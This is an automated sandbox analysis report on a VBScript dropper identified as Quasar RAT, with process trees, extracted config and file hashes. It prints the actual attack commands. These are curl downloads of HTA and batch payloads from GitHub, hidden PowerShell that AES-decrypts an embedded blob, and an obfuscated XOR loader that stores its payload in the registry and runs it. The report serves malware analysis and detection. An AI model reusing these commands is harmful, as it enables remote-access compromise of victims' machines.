Analysis

  • max time kernel
    300s
  • max time network
    277s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/04/2026, 16:13

General

  • Target
    adb exploit.vbs
  • Size 2KB
  • Sample260428-tpblfaft6p
  • SHA256 f2166dac295b232478248f546fccc082410e13970225f2b7f9f6dbc3c4fdf3d2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adb exploit.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\system32\wscript.exe
          wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2988
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/nucom/refs/heads/main/WindowsDefenderRuntimeService.hta"
            5⤵
              PID:1148
            • C:\Windows\System32\mshta.exe
              "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1072
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(95,194,117,41,212,7,187,158,124,210,21,249,154,50,32,242);$i=[byte[]]@(108,191,225,154,77,180,250,55,147,114,235,207,244,250,63,104);$c=[Convert]::FromBase64String('Jg5WMw9ypIKeTkKa+F+vnA273DGkXIVjq8sVp5oify99u6mp8d3pl+IROBKwYgsEkejk8OVlI5D0x7+jzYGalu2D3tDcmwpUDX/WBQ2mZifBoS5C4zaG1qIx3CKjvERnDJk+QWMSf8pn2WqjEMtuLAdo7eEm6L7bbAXHhcENc1/YFQhZCIP2BH8O4kR7tyOaoNJtpo65LHE8Z5QcX1ljfMTwYI/F1IeXjndUwqeRyvmPT2ca67p+33hOjZoldu2cyNjqaevTG9W7/sUxgRkjghnHbs0CirUPHAQL0YDZTiXO8A9yEnXaOtZMvW8oFgJg5HIpbq5FAvxGFOG+hTB/o03DRhvoKAtQcyvMCb2RcM85fwYfCvIn+Sl4bZQNzF8ihaT2RVZ5ysCNRr+N8p3ZNSYchYMUjm3xd6o238DRuF6P5SjiVI5mkQO8ze8EHH9JrBplFFzXN69FDnvMsVTFs54q94HpisQkeNkdZIFNH1W6OBBSbLBiIYLwC576YpUuOBWgo5Do8uDR7OCbuZ9SS7piYPIXO3RCs+6T5OOBtDwaykDo1j8s6/978HTV97OxiNGEm50J79w/iaAI8Df7n4kj2+Y1m41b+7AZTx2I4rzebOO7BArUlAwqhGMGitFjXYiBwI8y1669YfdcvIbvIUKtmxihNfj0Q09saFFUpTvwe7Ix0q27ZYSIbXsI0uuNGpVy0HoHu/3MzxxmFpqe/afvir6uUnNlqiWrs3bTEU2alKS0vGAUXPOZIPtJWdrY75KaAwFNWBD91aWNI6VJD20AenxZOXAyE8b7OGulcFfkiqgx5udj2IsCdiz1NNug7RKfLzvmnoFdFPo33LRnNI0/PeLm0w4CAifeOX4+kf1qXQ+GpIQFV5FgbrH9W74Zdt+RLSq9Dp5h3gwGcwRKaFnCuI46VMaR3CDV2dMrTj0fG8Je3ITrQxAXzsnrusVDA5ab7SxBRXR2n/DPyP7UvclFRUm90O6GlUQBou4kT0k4pRdHZ+L912bM1ANtI9Rl7q3eR4Z+SGxZ0WujaSnlg/RGmXIBLIZTZfDb15o4LrtmEc7yp2Ew1WFuK7a7GD/1i1o0brhFcFY5hh+arMbHY3nlABEIVucnSI1rXLflilgjAfaRa2fBRFtPWmjCYWwgcAlYbF0Vhw0kc4XCo7Cz25mq8BHg66JMmnqeC3Q5JkMDUSYYomjR5UpVIN//QOIBxkqC+GxR4fv34ej+7z1+KF5vWwoggYaT+6w9T0yF+GArEDrni3Ma+Q6+TEbIixDugoUDcbHqrfKK9UVVuG7uMEXxgcRXQbfUyIaiGECb3r3t9nS/5WBYr1SeiPB0QxllMEiheZWr6WGNOlbWpZgpkyAkeY7KUgblHmSCnp8GtUCsVdJgTeVQyTDJmEqhy3PWu7beg0PSedVi1SFANOJRXCEMJfjSraSzyhlvqjiSm+4C579Xb13gtk3S+pUUu54kJxuf5JvzaTd+NQn7UrOrOpEIC5SPWFVe0LTSk0MRvKOhmGeM1sU0DZY67Of1Bhh+eIXWuGU5cARAXzp0YPT5anQpc3q5PQ7/iSbMO4FN+v0c7muoC4SrZFWiDkadTXN3zSxMHXsuvLpEWE0CPoDVTbZ7dLLPa/UjMnJ+jz+zsVxXsIkBx2NwxOcfBF/IS72Xnvjjeoz2iLgmuUALfCflnXn3CJAY9Uz6+VsLrZv+nf1/wIvWzWfYqWqY/WwI9+UA0zlaQQ0cIfK0PJriSXGjo/SIJlf9170/lzqfJbmsEEpluToeH2v324K7ONjN5+oxUQQcyz7dLECat9jTN/O2uA==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1616
              • C:\Windows\System32\curl.exe
                "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"
                6⤵
                  PID:2828
                • C:\Windows\System32\wscript.exe
                  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5052
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:916
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: AddClipboardFormatListener
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2392

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 919e8135bd5584c22137f2c102454c841e0a5d03c01a835f9351d90b1f78a20e
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
            • MD5 SHA1 SHA512 TLSH

            LVPmNj.hta

            • Path C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta
            • Size 24KB
            • SHA256 1e910155a45608d8464d82cabd062b37732e3b33248c34f63d8d642aee573b16
            • MD5 SHA1 SHA512 SSDEEP TLSH

            V7YmmGS7TnD.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
            • Size 765B
            • SHA256 c78715a1dad894b5cd9eb5b9a37e6d0a6255bd909c408db002c0229acc0ab34d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ov2ehtqs.pfm.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ov2ehtqs.pfm.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            kFcnW1K5vAH.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1
            • Size 1KB
            • SHA256 85b5e85ba113ac94dbce79a2083a5b42800f8983f10f950b7db7d9131fb8ebfa
            • MD5 SHA1 SHA512 TLSH

            launch32.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\launch32.vbs
            • Size 125B
            • SHA256 fe0b3f33708d8b50dbeb91d7c3e876ce37fb5257048b9a593d7b0287ce5a2c4c
            • MD5 SHA1 SHA512 TLSH

            svchost32.bat

            • Path C:\Users\Admin\AppData\Local\Temp\svchost32.bat
            • Size 4.1MB
            • SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1616-29-0x000002138AA20000-0x000002138AA32000-memory.dmp

            memory/2392-43-0x00007FFC16FA0000-0x00007FFC1705D000-memory.dmp

            memory/2392-41-0x000002337D490000-0x000002337D5C0000-memory.dmp

            memory/2392-42-0x00007FFC185A0000-0x00007FFC187A9000-memory.dmp

            memory/2392-44-0x000002337D890000-0x000002337D984000-memory.dmp

            memory/2392-45-0x000002337D150000-0x000002337D184000-memory.dmp

            memory/2392-46-0x000002337DCD0000-0x000002337DD08000-memory.dmp

            memory/2392-47-0x000002337CED0000-0x000002337CEE2000-memory.dmp

            memory/3656-3-0x000001CC2EA90000-0x000001CC2EAB2000-memory.dmp

            memory/3656-10-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

            memory/3656-2-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

            memory/3656-1-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

            memory/3656-16-0x000001CC14BB0000-0x000001CC14BC2000-memory.dmp